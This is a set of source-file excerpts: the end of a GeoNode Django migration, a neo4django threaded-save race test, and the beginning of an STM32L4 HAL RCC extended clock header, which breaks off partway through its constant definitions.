('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}), 'organization': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}), 'position': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}), 'profile': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}), 'user': ('django.db.models.fields.related.OneToOneField', [], {'blank': 'True', 'related_name': "'profile'", 'unique': 'True', 'null': 'True', 'to': u"orm['auth.User']"}), 'voice': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}), 'zipcode': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}) }, u'people.role': { 'Meta': {'object_name': 'Role'}, u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': u"orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}), 'value': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '255'}) }, u'taggit.tag': { 'Meta': {'object_name': 'Tag'}, u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '100'}), 'slug': ('django.db.models.fields.SlugField', [], {'unique': 'True', 'max_length': '100', 'db_index': 'True'}) }, u'taggit.taggeditem': { 'Meta': {'object_name': 'TaggedItem'}, 'content_type': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "u'taggit_taggeditem_tagged_items'", 'to': u"orm['contenttypes.ContentType']"}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'object_id': ('django.db.models.fields.IntegerField', [], {'db_index': 'True'}), 'tag': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "u'taggit_taggeditem_items'", 'to': u"orm['taggit.Tag']"}) } } complete_apps = ['layers']
GISPPU/GrenadaLandInformation
geonode/layers/migrations/0010_remove_unneeded_objects.py
Python
gpl-3.0
20,864
from nose.tools import eq_, with_setup from threading import Thread from Queue import Queue from time import sleep def setup(): global Person, neo4django, gdb, neo4jrestclient, neo_constants, settings, models from neo4django.tests import Person, neo4django, gdb, neo4jrestclient, \ neo_constants, settings from neo4django.db import models def teardown(): gdb.cleandb() @with_setup(None, teardown) def test_typenode_transactionality(): class RaceModel(models.NodeModel): pass exc_queue = Queue() def race(): r = RaceModel() try: r.save() except Exception, e: exc_queue.put(str(e)) else: exc_queue.put(True) num_threads = 5 for i in xrange(num_threads): thread = Thread(target=race) thread.start() for i in xrange(num_threads): val = exc_queue.get() if val is not True: raise AssertionError('There was an error saving one of the ' 'RaceModels (#%d) - "%s"' % (i, val)) #check the number of typenodes typenode_script = "g.v(0).outE('<<TYPE>>').inV.filter{it.model_name=='%s'}" typenode_script %= RaceModel.__name__ typenodes = gdb.extensions.GremlinPlugin.execute_script(typenode_script) eq_(len(typenodes), 1) def race(func, num_threads): """ Run a multi-threaded race on func. Func should accept a single argument- a Queue. If func succeeds, it should `q.put(True)`- if it fails, it should `q.put('error message')`. """ exc_queue = Queue() for i in xrange(num_threads): thread = Thread(target=func, args=(exc_queue,)) thread.start() for i in xrange(num_threads): val = exc_queue.get() if val is not True: raise AssertionError('There was an error running race (#%d) - "%s"' % (i, val)) @with_setup(None, teardown) def test_autoproperty_transactionality(): class AutoRaceModel(models.NodeModel): some_id = models.AutoProperty() def autorace(queue): r = AutoRaceModel() try: r.save() except Exception, e: queue.put(str(e)) else: queue.put(True) race(autorace, 3) eq_(len(set(m.some_id for m in AutoRaceModel.objects.all())), 3)
coffenbacher/neo4django
neo4django/tests/synchronicity_tests.py
Python
gpl-3.0
2,374
/** ****************************************************************************** * @file stm32l4xx_hal_rcc_ex.h * @author MCD Application Team * @version V1.5.1 * @date 31-May-2016 * @brief Header file of RCC HAL Extended module. ****************************************************************************** * @attention * * <h2><center>&copy; COPYRIGHT(c) 2016 STMicroelectronics</center></h2> * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * 1. Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * 3. Neither the name of STMicroelectronics nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * ****************************************************************************** */ /* Define to prevent recursive inclusion -------------------------------------*/ #ifndef __STM32L4xx_HAL_RCC_EX_H #define __STM32L4xx_HAL_RCC_EX_H #ifdef __cplusplus extern "C" { #endif /* Includes ------------------------------------------------------------------*/ #include "stm32l4xx_hal_def.h" /** @addtogroup STM32L4xx_HAL_Driver * @{ */ /** @addtogroup RCCEx * @{ */ /* Exported types ------------------------------------------------------------*/ /** @defgroup RCCEx_Exported_Types RCCEx Exported Types * @{ */ /** * @brief PLLSAI1 Clock structure definition */ typedef struct { uint32_t PLLSAI1Source; /*!< PLLSAI1Source: PLLSAI1 entry clock source. This parameter must be a value of @ref RCC_PLL_Clock_Source */ uint32_t PLLSAI1M; /*!< PLLSAI1M: specifies the division factor for PLLSAI1 input clock. This parameter must be a number between Min_Data = 1 and Max_Data = 8 */ uint32_t PLLSAI1N; /*!< PLLSAI1N: specifies the multiplication factor for PLLSAI1 VCO output clock. This parameter must be a number between 8 and 86 or 127 depending on devices. */ uint32_t PLLSAI1P; /*!< PLLSAI1P: specifies the division factor for SAI clock. This parameter must be a value of @ref RCC_PLLP_Clock_Divider */ uint32_t PLLSAI1Q; /*!< PLLSAI1Q: specifies the division factor for USB/RNG/SDMMC1 clock. This parameter must be a value of @ref RCC_PLLQ_Clock_Divider */ uint32_t PLLSAI1R; /*!< PLLSAI1R: specifies the division factor for ADC clock. This parameter must be a value of @ref RCC_PLLR_Clock_Divider */ uint32_t PLLSAI1ClockOut; /*!< PLLSAIClockOut: specifies PLLSAI1 output clock to be enabled. This parameter must be a value of @ref RCC_PLLSAI1_Clock_Output */ }RCC_PLLSAI1InitTypeDef; #if defined(RCC_PLLSAI2_SUPPORT) /** * @brief PLLSAI2 Clock structure definition */ typedef struct { uint32_t PLLSAI2Source; /*!< PLLSAI2Source: PLLSAI2 entry clock source. This parameter must be a value of @ref RCC_PLL_Clock_Source */ uint32_t PLLSAI2M; /*!< PLLSAI2M: specifies the division factor for PLLSAI2 input clock. This parameter must be a number between Min_Data = 1 and Max_Data = 8 */ uint32_t PLLSAI2N; /*!< PLLSAI2N: specifies the multiplication factor for PLLSAI2 VCO output clock. This parameter must be a number between 8 and 86 or 127 depending on devices. */ uint32_t PLLSAI2P; /*!< PLLSAI2P: specifies the division factor for SAI clock. This parameter must be a value of @ref RCC_PLLP_Clock_Divider */ uint32_t PLLSAI2R; /*!< PLLSAI2R: specifies the division factor for ADC clock. This parameter must be a value of @ref RCC_PLLR_Clock_Divider */ uint32_t PLLSAI2ClockOut; /*!< PLLSAIClockOut: specifies PLLSAI2 output clock to be enabled. This parameter must be a value of @ref RCC_PLLSAI2_Clock_Output */ }RCC_PLLSAI2InitTypeDef; #endif /* RCC_PLLSAI2_SUPPORT */ /** * @brief RCC extended clocks structure definition */ typedef struct { uint32_t PeriphClockSelection; /*!< The Extended Clock to be configured. This parameter can be a value of @ref RCCEx_Periph_Clock_Selection */ RCC_PLLSAI1InitTypeDef PLLSAI1; /*!< PLLSAI1 structure parameters. This parameter will be used only when PLLSAI1 is selected as Clock Source for SAI1, USB/RNG/SDMMC1 or ADC */ #if defined(RCC_PLLSAI2_SUPPORT) RCC_PLLSAI2InitTypeDef PLLSAI2; /*!< PLLSAI2 structure parameters. This parameter will be used only when PLLSAI2 is selected as Clock Source for SAI2 or ADC */ #endif /* RCC_PLLSAI2_SUPPORT */ uint32_t Usart1ClockSelection; /*!< Specifies USART1 clock source. This parameter can be a value of @ref RCCEx_USART1_Clock_Source */ uint32_t Usart2ClockSelection; /*!< Specifies USART2 clock source. This parameter can be a value of @ref RCCEx_USART2_Clock_Source */ #if defined(USART3) uint32_t Usart3ClockSelection; /*!< Specifies USART3 clock source. This parameter can be a value of @ref RCCEx_USART3_Clock_Source */ #endif /* USART3 */ #if defined(UART4) uint32_t Uart4ClockSelection; /*!< Specifies UART4 clock source. This parameter can be a value of @ref RCCEx_UART4_Clock_Source */ #endif /* UART4 */ #if defined(UART5) uint32_t Uart5ClockSelection; /*!< Specifies UART5 clock source. This parameter can be a value of @ref RCCEx_UART5_Clock_Source */ #endif /* UART5 */ uint32_t Lpuart1ClockSelection; /*!< Specifies LPUART1 clock source. This parameter can be a value of @ref RCCEx_LPUART1_Clock_Source */ uint32_t I2c1ClockSelection; /*!< Specifies I2C1 clock source. This parameter can be a value of @ref RCCEx_I2C1_Clock_Source */ #if defined(I2C2) uint32_t I2c2ClockSelection; /*!< Specifies I2C2 clock source. This parameter can be a value of @ref RCCEx_I2C2_Clock_Source */ #endif /* I2C2 */ uint32_t I2c3ClockSelection; /*!< Specifies I2C3 clock source. This parameter can be a value of @ref RCCEx_I2C3_Clock_Source */ uint32_t Lptim1ClockSelection; /*!< Specifies LPTIM1 clock source. This parameter can be a value of @ref RCCEx_LPTIM1_Clock_Source */ uint32_t Lptim2ClockSelection; /*!< Specifies LPTIM2 clock source. This parameter can be a value of @ref RCCEx_LPTIM2_Clock_Source */ uint32_t Sai1ClockSelection; /*!< Specifies SAI1 clock source. This parameter can be a value of @ref RCCEx_SAI1_Clock_Source */ #if defined(SAI2) uint32_t Sai2ClockSelection; /*!< Specifies SAI2 clock source. This parameter can be a value of @ref RCCEx_SAI2_Clock_Source */ #endif /* SAI2 */ #if defined(USB_OTG_FS) || defined(USB) uint32_t UsbClockSelection; /*!< Specifies USB clock source (warning: same source for SDMMC1 and RNG). This parameter can be a value of @ref RCCEx_USB_Clock_Source */ #endif /* USB_OTG_FS || USB */ #if defined(SDMMC1) uint32_t Sdmmc1ClockSelection; /*!< Specifies SDMMC1 clock source (warning: same source for USB and RNG). This parameter can be a value of @ref RCCEx_SDMMC1_Clock_Source */ #endif /* SDMMC1 */ uint32_t RngClockSelection; /*!< Specifies RNG clock source (warning: same source for USB and SDMMC1). This parameter can be a value of @ref RCCEx_RNG_Clock_Source */ uint32_t AdcClockSelection; /*!< Specifies ADC interface clock source. This parameter can be a value of @ref RCCEx_ADC_Clock_Source */ #if defined(SWPMI1) uint32_t Swpmi1ClockSelection; /*!< Specifies SWPMI1 clock source. This parameter can be a value of @ref RCCEx_SWPMI1_Clock_Source */ #endif /* SWPMI1 */ #if defined(DFSDM1_Filter0) uint32_t Dfsdm1ClockSelection; /*!< Specifies DFSDM1 clock source. This parameter can be a value of @ref RCCEx_DFSDM1_Clock_Source */ #endif /* DFSDM1_Filter0 */ uint32_t RTCClockSelection; /*!< Specifies RTC clock source. This parameter can be a value of @ref RCC_RTC_Clock_Source */ }RCC_PeriphCLKInitTypeDef; #if defined(CRS) /** * @brief RCC_CRS Init structure definition */ typedef struct { uint32_t Prescaler; /*!< Specifies the division factor of the SYNC signal. This parameter can be a value of @ref RCCEx_CRS_SynchroDivider */ uint32_t Source; /*!< Specifies the SYNC signal source. This parameter can be a value of @ref RCCEx_CRS_SynchroSource */ uint32_t Polarity; /*!< Specifies the input polarity for the SYNC signal source. This parameter can be a value of @ref RCCEx_CRS_SynchroPolarity */ uint32_t ReloadValue; /*!< Specifies the value to be loaded in the frequency error counter with each SYNC event. It can be calculated in using macro __HAL_RCC_CRS_RELOADVALUE_CALCULATE(__FTARGET__, __FSYNC__) This parameter must be a number between 0 and 0xFFFF or a value of @ref RCCEx_CRS_ReloadValueDefault .*/ uint32_t ErrorLimitValue; /*!< Specifies the value to be used to evaluate the captured frequency error value. This parameter must be a number between 0 and 0xFF or a value of @ref RCCEx_CRS_ErrorLimitDefault */ uint32_t HSI48CalibrationValue; /*!< Specifies a user-programmable trimming value to the HSI48 oscillator. This parameter must be a number between 0 and 0x3F or a value of @ref RCCEx_CRS_HSI48CalibrationDefault */ }RCC_CRSInitTypeDef; /** * @brief RCC_CRS Synchronization structure definition */ typedef struct { uint32_t ReloadValue; /*!< Specifies the value loaded in the Counter reload value. This parameter must be a number between 0 and 0xFFFF */ uint32_t HSI48CalibrationValue; /*!< Specifies value loaded in HSI48 oscillator smooth trimming. This parameter must be a number between 0 and 0x3F */ uint32_t FreqErrorCapture; /*!< Specifies the value loaded in the .FECAP, the frequency error counter value latched in the time of the last SYNC event. This parameter must be a number between 0 and 0xFFFF */ uint32_t FreqErrorDirection; /*!< Specifies the value loaded in the .FEDIR, the counting direction of the frequency error counter latched in the time of the last SYNC event. It shows whether the actual frequency is below or above the target. This parameter must be a value of @ref RCCEx_CRS_FreqErrorDirection*/ }RCC_CRSSynchroInfoTypeDef; #endif /* CRS */ /** * @} */ /* Exported constants --------------------------------------------------------*/ /** @defgroup RCCEx_Exported_Constants RCCEx Exported Constants * @{ */ /** @defgroup RCCEx_LSCO_Clock_Source Low Speed Clock Source * @{ */ #define RCC_LSCOSOURCE_LSI (uint32_t)0x00000000U /*!< LSI selection for low speed clock output */ #define RCC_LSCOSOURCE_LSE RCC_BDCR_LSCOSEL /*!< LSE selection for low speed clock output */ /** * @} */ /** @defgroup RCCEx_Periph_Clock_Selection Periph Clock Selection * @{ */ #define RCC_PERIPHCLK_USART1 ((uint32_t)0x00000001U) #define RCC_PERIPHCLK_USART2 ((uint32_t)0x00000002U) #if defined(USART3) #define RCC_PERIPHCLK_USART3 ((uint32_t)0x00000004U) #endif #if defined(UART4) #define RCC_PERIPHCLK_UART4 ((uint32_t)0x00000008U) #endif #if defined(UART5) #define RCC_PERIPHCLK_UART5 ((uint32_t)0x00000010U) #endif #define RCC_PERIPHCLK_LPUART1 ((uint32_t)0x00000020U) #define RCC_PERIPHCLK_I2C1 ((uint32_t)0x00000040U) #if defined(I2C2) #define RCC_PERIPHCLK_I2C2 ((uint32_t)0x00000080U) #endif #define RCC_PERIPHCLK_I2C3 ((uint32_t)0x00000100U) #define RCC_PERIPHCLK_LPTIM1 ((uint32_t)0x00000200U) #define RCC_PERIPHCLK_LPTIM2 ((uint32_t)0x00000400U) #define RCC_PERIPHCLK_SAI1 ((uint32_t)0x00000800U) #if defined(SAI2) #define RCC_PERIPHCLK_SAI2 ((uint32_t)0x00001000U) #endif #if defined(USB_OTG_FS) || defined(USB) #define RCC_PERIPHCLK_USB ((uint32_t)0x00002000U) #endif #define RCC_PERIPHCLK_ADC ((uint32_t)0x00004000U) #define RCC_PERIPHCLK_SWPMI1 ((uint32_t)0x00008000U) #if defined(DFSDM1_Filter0) #define RCC_PERIPHCLK_DFSDM1 ((uint32_t)0x00010000U) #endif #define RCC_PERIPHCLK_RTC ((uint32_t)0x00020000U) #define RCC_PERIPHCLK_RNG ((uint32_t)0x00040000U) #if defined(SDMMC1) #define RCC_PERIPHCLK_SDMMC1 ((uint32_t)0x00080000U) #endif /** * @} */ /** @defgroup RCCEx_USART1_Clock_Source USART1 Clock Source * @{ */ #define RCC_USART1CLKSOURCE_PCLK2 ((uint32_t)0x00000000U) #define RCC_USART1CLKSOURCE_SYSCLK RCC_CCIPR_USART1SEL_0 #define RCC_USART1CLKSOURCE_HSI RCC_CCIPR_USART1SEL_1 #define RCC_USART1CLKSOURCE_LSE (RCC_CCIPR_USART1SEL_0 | RCC_CCIPR_USART1SEL_1) /** * @} */ /** @defgroup RCCEx_USART2_Clock_Source USART2 Clock Source * @{ */ #define RCC_USART2CLKSOURCE_PCLK1 ((uint32_t)0x00000000U) #define RCC_USART2CLKSOURCE_SYSCLK RCC_CCIPR_USART2SEL_0 #define RCC_USART2CLKSOURCE_HSI RCC_CCIPR_USART2SEL_1 #define RCC_USART2CLKSOURCE_LSE (RCC_CCIPR_USART2SEL_0 | RCC_CCIPR_USART2SEL_1) /** * @} */ #if defined(USART3) /** @defgroup RCCEx_USART3_Clock_Source USART3 Clock Source * @{ */ #define RCC_USART3CLKSOURCE_PCLK1 ((uint32_t)0x00000000U) #define RCC_USART3CLKSOURCE_SYSCLK RCC_CCIPR_USART3SEL_0 #define RCC_USART3CLKSOURCE_HSI RCC_CCIPR_USART3SEL_1 #define RCC_USART3CLKSOURCE_LSE (RCC_CCIPR_USART3SEL_0 | RCC_CCIPR_USART3SEL_1) /** * @} */ #endif /* USART3 */ #if defined(UART4) /** @defgroup RCCEx_UART4_Clock_Source UART4 Clock Source * @{ */ #define RCC_UART4CLKSOURCE_PCLK1 ((uint32_t)0x00000000U) #define RCC_UART4CLKSOURCE_SYSCLK RCC_CCIPR_UART4SEL_0 #define RCC_UART4CLKSOURCE_HSI RCC_CCIPR_UART4SEL_1 #define RCC_UART4CLKSOURCE_LSE (RCC_CCIPR_UART4SEL_0 | RCC_CCIPR_UART4SEL_1) /** * @} */ #endif /* UART4 */ #if defined(UART5) /** @defgroup RCCEx_UART5_Clock_Source UART5 Clock Source * @{ */ #define RCC_UART5CLKSOURCE_PCLK1 ((uint32_t)0x00000000U) #define RCC_UART5CLKSOURCE_SYSCLK RCC_CCIPR_UART5SEL_0 #define RCC_UART5CLKSOURCE_HSI RCC_CCIPR_UART5SEL_1 #define RCC_UART5CLKSOURCE_LSE (RCC_CCIPR_UART5SEL_0 | RCC_CCIPR_UART5SEL_1) /** * @} */ #endif /* UART5 */ /** @defgroup RCCEx_LPUART1_Clock_Source LPUART1 Clock Source * @{ */ #define RCC_LPUART1CLKSOURCE_PCLK1 ((uint32_t)0x00000000U) #define RCC_LPUART1CLKSOURCE_SYSCLK RCC_CCIPR_LPUART1SEL_0 #define RCC_LPUART1CLKSOURCE_HSI RCC_CCIPR_LPUART1SEL_1 #define RCC_LPUART1CLKSOURCE_LSE (RCC_CCIPR_LPUART1SEL_0 | RCC_CCIPR_LPUART1SEL_1) /** * @} */ /** @defgroup RCCEx_I2C1_Clock_Source I2C1 Clock Source * @{ */ #define RCC_I2C1CLKSOURCE_PCLK1 ((uint32_t)0x00000000U) #define RCC_I2C1CLKSOURCE_SYSCLK RCC_CCIPR_I2C1SEL_0 #define RCC_I2C1CLKSOURCE_HSI RCC_CCIPR_I2C1SEL_1 /** * @} */ #if defined(I2C2) /** @defgroup RCCEx_I2C2_Clock_Source I2C2 Clock Source * @{ */ #define RCC_I2C2CLKSOURCE_PCLK1 ((uint32_t)0x00000000U) #define RCC_I2C2CLKSOURCE_SYSCLK RCC_CCIPR_I2C2SEL_0 #define RCC_I2C2CLKSOURCE_HSI RCC_CCIPR_I2C2SEL_1 /** * @} */ #endif /* I2C2 */ /** @defgroup RCCEx_I2C3_Clock_Source I2C3 Clock Source * @{ */ #define RCC_I2C3CLKSOURCE_PCLK1 ((uint32_t)0x00000000U) #define RCC_I2C3CLKSOURCE_SYSCLK RCC_CCIPR_I2C3SEL_0 #define RCC_I2C3CLKSOURCE_HSI RCC_CCIPR_I2C3SEL_1 /** * @} */ /** @defgroup RCCEx_SAI1_Clock_Source SAI1 Clock Source * @{ */ #define RCC_SAI1CLKSOURCE_PLLSAI1 ((uint32_t)0x00000000U) #if defined(RCC_PLLSAI2_SUPPORT) #define RCC_SAI1CLKSOURCE_PLLSAI2 RCC_CCIPR_SAI1SEL_0 #endif /* RCC_PLLSAI2_SUPPORT */ #define RCC_SAI1CLKSOURCE_PLL RCC_CCIPR_SAI1SEL_1 #define RCC_SAI1CLKSOURCE_PIN RCC_CCIPR_SAI1SEL /** * @} */ #if defined(SAI2) /** @defgroup RCCEx_SAI2_Clock_Source SAI2 Clock Source * @{ */ #define RCC_SAI2CLKSOURCE_PLLSAI1 ((uint32_t)0x00000000U) #define RCC_SAI2CLKSOURCE_PLLSAI2 RCC_CCIPR_SAI2SEL_0 #define RCC_SAI2CLKSOURCE_PLL RCC_CCIPR_SAI2SEL_1 #define RCC_SAI2CLKSOURCE_PIN RCC_CCIPR_SAI2SEL /** * @} */ #endif /* SAI2 */ /** @defgroup RCCEx_LPTIM1_Clock_Source LPTIM1 Clock Source * @{ */ #define RCC_LPTIM1CLKSOURCE_PCLK ((uint32_t)0x00000000U) #define RCC_LPTIM1CLKSOURCE_LSI RCC_CCIPR_LPTIM1SEL_0 #define RCC_LPTIM1CLKSOURCE_HSI RCC_CCIPR_LPTIM1SEL_1 #define RCC_LPTIM1CLKSOURCE_LSE RCC_CCIPR_LPTIM1SEL /** * @} */ /** @defgroup RCCEx_LPTIM2_Clock_Source LPTIM2 Clock Source * @{ */ #define RCC_LPTIM2CLKSOURCE_PCLK ((uint32_t)0x00000000U) #define RCC_LPTIM2CLKSOURCE_LSI RCC_CCIPR_LPTIM2SEL_0 #define RCC_LPTIM2CLKSOURCE_HSI RCC_CCIPR_LPTIM2SEL_1 #define RCC_LPTIM2CLKSOURCE_LSE RCC_CCIPR_LPTIM2SEL /** * @} */ #if defined(SDMMC1) /** @defgroup RCCEx_SDMMC1_Clock_Source SDMMC1 Clock Source * @{ */ #if defined(RCC_HSI48_SUPPORT) #define RCC_SDMMC1CLKSOURCE_HSI48 ((uint32_t)0x00000000U) #else #define RCC_SDMMC1CLKSOURCE_NONE ((uint32_t)0x00000000U) #endif /* RCC_HSI48_SUPPORT */ #define RCC_SDMMC1CLKSOURCE_PLLSAI1 RCC_CCIPR_CLK48SEL_0 #define RCC_SDMMC1CLKSOURCE_PLL RCC_CCIPR_CLK48SEL_1 #define RCC_SDMMC1CLKSOURCE_MSI RCC_CCIPR_CLK48SEL /** * @} */ #endif /* SDMMC1 */ /** @defgroup RCCEx_RNG_Clock_Source RNG Clock Source * @{ */ #if defined(RCC_HSI48_SUPPORT) #define RCC_RNGCLKSOURCE_HSI48 ((uint32_t)0x00000000U) #else #define RCC_RNGCLKSOURCE_NONE ((uint32_t)0x00000000U) #endif /* RCC_HSI48_SUPPORT */ #define RCC_RNGCLKSOURCE_PLLSAI1 RCC_CCIPR_CLK48SEL_0 #define RCC_RNGCLKSOURCE_PLL RCC_CCIPR_CLK48SEL_1 #define RCC_RNGCLKSOURCE_MSI RCC_CCIPR_CLK48SEL /** * @} */ #if defined(USB_OTG_FS) || defined(USB) /** @defgroup RCCEx_USB_Clock_Source USB Clock Source * @{ */ #if defined(RCC_HSI48_SUPPORT) #define RCC_USBCLKSOURCE_HSI48 ((uint32_t)0x00000000U) #else #define RCC_USBCLKSOURCE_NONE ((uint32_t)0x00000000U) #endif /* RCC_HSI48_SUPPORT */ #define RCC_USBCLKSOURCE_PLLSAI1 RCC_CCIPR_CLK48SEL_0 #define RCC_USBCLKSOURCE_PLL RCC_CCIPR_CLK48SEL_1 #define RCC_USBCLKSOURCE_MSI RCC_CCIPR_CLK48SEL /** * @} */ #endif /* USB_OTG_FS || USB */ /** @defgroup RCCEx_ADC_Clock_Source ADC Clock Source * @{ */ #define RCC_ADCCLKSOURCE_NONE ((uint32_t)0x00000000U) #define RCC_ADCCLKSOURCE_PLLSAI1 RCC_CCIPR_ADCSEL_0 #if defined(STM32L471xx) || defined(STM32L475xx) || defined(STM32L476xx) || defined(STM32L485xx) || defined(STM32L486xx) #define RCC_ADCCLKSOURCE_PLLSAI2 RCC_CCIPR_ADCSEL_1 #endif /* STM32L471xx || STM32L475xx || STM32L476xx || STM32L485xx || STM32L486xx */ #define RCC_ADCCLKSOURCE_SYSCLK RCC_CCIPR_ADCSEL /** * @} */ #if defined(SWPMI1) /** @defgroup RCCEx_SWPMI1_Clock_Source SWPMI1 Clock Source * @{ */ #define RCC_SWPMI1CLKSOURCE_PCLK ((uint32_t)0x00000000U) #define RCC_SWPMI1CLKSOURCE_HSI RCC_CCIPR_SWPMI1SEL /** * @} */ #endif /* SWPMI1 */ #if defined(DFSDM1_Filter0) /** @defgroup RCCEx_DFSDM1_Clock_Source DFSDM1 Clock Source * @{ */ #define RCC_DFSDM1CLKSOURCE_PCLK ((uint32_t)0x00000000U) #define RCC_DFSDM1CLKSOURCE_SYSCLK RCC_CCIPR_DFSDM1SEL /** * @} */ #endif /* DFSDM1_Filter0 */ /** @defgroup RCCEx_EXTI_LINE_LSECSS RCC LSE CSS external interrupt line * @{ */ #define RCC_EXTI_LINE_LSECSS EXTI_IMR1_IM19 /*!< External interrupt line 19 connected to the LSE CSS EXTI Line */ /** * @} */ #if defined(CRS) /** @defgroup RCCEx_CRS_Status RCCEx CRS Status * @{ */ #define RCC_CRS_NONE ((uint32_t)0x00000000U) #define RCC_CRS_TIMEOUT ((uint32_t)0x00000001U) #define RCC_CRS_SYNCOK ((uint32_t)0x00000002U) #define RCC_CRS_SYNCWARN ((uint32_t)0x00000004U) #define RCC_CRS_SYNCERR ((uint32_t)0x00000008U) #define RCC_CRS_SYNCMISS ((uint32_t)0x00000010U) #define RCC_CRS_TRIMOVF ((uint32_t)0x00000020U) /** * @} */ /** @defgroup RCCEx_CRS_SynchroSource RCCEx CRS SynchroSource * @{ */ #define RCC_CRS_SYNC_SOURCE_GPIO ((uint32_t)0x00000000U) /*!< Synchro Signal source GPIO */ #define RCC_CRS_SYNC_SOURCE_LSE CRS_CFGR_SYNCSRC_0 /*!< Synchro Signal source LSE */ #define RCC_CRS_SYNC_SOURCE_USB CRS_CFGR_SYNCSRC_1 /*!< Synchro Signal source USB SOF (default)*/ /** * @} */ /** @defgroup RCCEx_CRS_SynchroDivider RCCEx CRS SynchroDivider * @{ */ #define RCC_CRS_SYNC_DIV1 ((uint32_t)0x00000000U) /*!< Synchro Signal not divided (default) */ #define RCC_CRS_SYNC_DIV2 CRS_CFGR_SYNCDIV_0 /*!< Synchro Signal divided by 2 */ #define RCC_CRS_SYNC_DIV4 CRS_CFGR_SYNCDIV_1 /*!< Synchro Signal divided by 4 */ #define RCC_CRS_SYNC_DIV8 (CRS_CFGR_SYNCDIV_1 | CRS_CFGR_SYNCDIV_0) /*!< Synchro Signal divided by 8 */ #define RCC_CRS_SYNC_DIV16 CRS_CFGR_SYNCDIV_2 /*!< Synchro Signal divided by 16 */ #define RCC_CRS_SYNC_DIV32 (CRS_CFGR_SYNCDIV_2 | CRS_CFGR_SYNCDIV_0) /*!< Synchro Signal divided by 32 */ #define RCC_CRS_SYNC_DIV64 (CRS_CFGR_SYNCDIV_2 | CRS_CFGR_SYNCDIV_1) /*!< Synchro Signal divided by 64 */ #define RCC_CRS_SYNC_DIV128 CRS_CFGR_SYNCDIV /*!< Synchro Signal divided by 128 */ /** * @} */ /** @defgroup RCCEx_CRS_SynchroPolarity RCCEx CRS SynchroPolarity * @{ */ #define RCC_CRS_SYNC_POLARITY_RISING ((uint32_t)0x00000000U) /*!< Synchro Active on rising edge (default) */ #define RCC_CRS_SYNC_POLARITY_FALLING CRS_CFGR_SYNCPOL /*!< Synchro Active on falling edge */ /** * @} */ /** @defgroup RCCEx_CRS_ReloadValueDefault RCCEx CRS ReloadValueDefault * @{ */ #define RCC_CRS_RELOADVALUE_DEFAULT ((uint32_t)0x0000BB7FU) /*!< The reset value of the RELOAD field corresponds to a target frequency of 48 MHz and a synchronization signal frequency of 1 kHz (SOF signal from USB). */ /** * @} */ /** @defgroup RCCEx_CRS_ErrorLimitDefault RCCEx CRS ErrorLimitDefault * @{ */ #define RCC_CRS_ERRORLIMIT_DEFAULT ((uint32_t)0x00000022U) /*!< Default Frequency error limit */ /** * @} */ /** @defgroup RCCEx_CRS_HSI48CalibrationDefault RCCEx CRS HSI48CalibrationDefault * @{ */ #define RCC_CRS_HSI48CALIBRATION_DEFAULT ((uint32_t)0x00000020U) /*!< The default value is 32, which corresponds to the middle of the trimming interval. The trimming step is around 67 kHz between two consecutive TRIM steps. A higher TRIM value corresponds to a higher output frequency */ /** * @} */ /** @defgroup RCCEx_CRS_FreqErrorDirection RCCEx CRS FreqErrorDirection * @{ */ #define RCC_CRS_FREQERRORDIR_UP ((uint32_t)0x00000000U) /*!< Upcounting direction, the actual frequency is above the target */ #define RCC_CRS_FREQERRORDIR_DOWN ((uint32_t)CRS_ISR_FEDIR) /*!< Downcounting direction, the actual frequency is below the target */ /** * @} */ /** @defgroup RCCEx_CRS_Interrupt_Sources RCCEx CRS Interrupt Sources * @{ */ #define RCC_CRS_IT_SYNCOK CRS_CR_SYNCOKIE /*!< SYNC event OK */ #define RCC_CRS_IT_SYNCWARN CRS_CR_SYNCWARNIE /*!< SYNC warning */ #define RCC_CRS_IT_ERR CRS_CR_ERRIE /*!< Error */ #define RCC_CRS_IT_ESYNC CRS_CR_ESYNCIE /*!< Expected SYNC */ #define RCC_CRS_IT_SYNCERR CRS_CR_ERRIE /*!< SYNC error */ #define RCC_CRS_IT_SYNCMISS CRS_CR_ERRIE /*!< SYNC missed */ #define RCC_CRS_IT_TRIMOVF CRS_CR_ERRIE /*!< Trimming overflow or 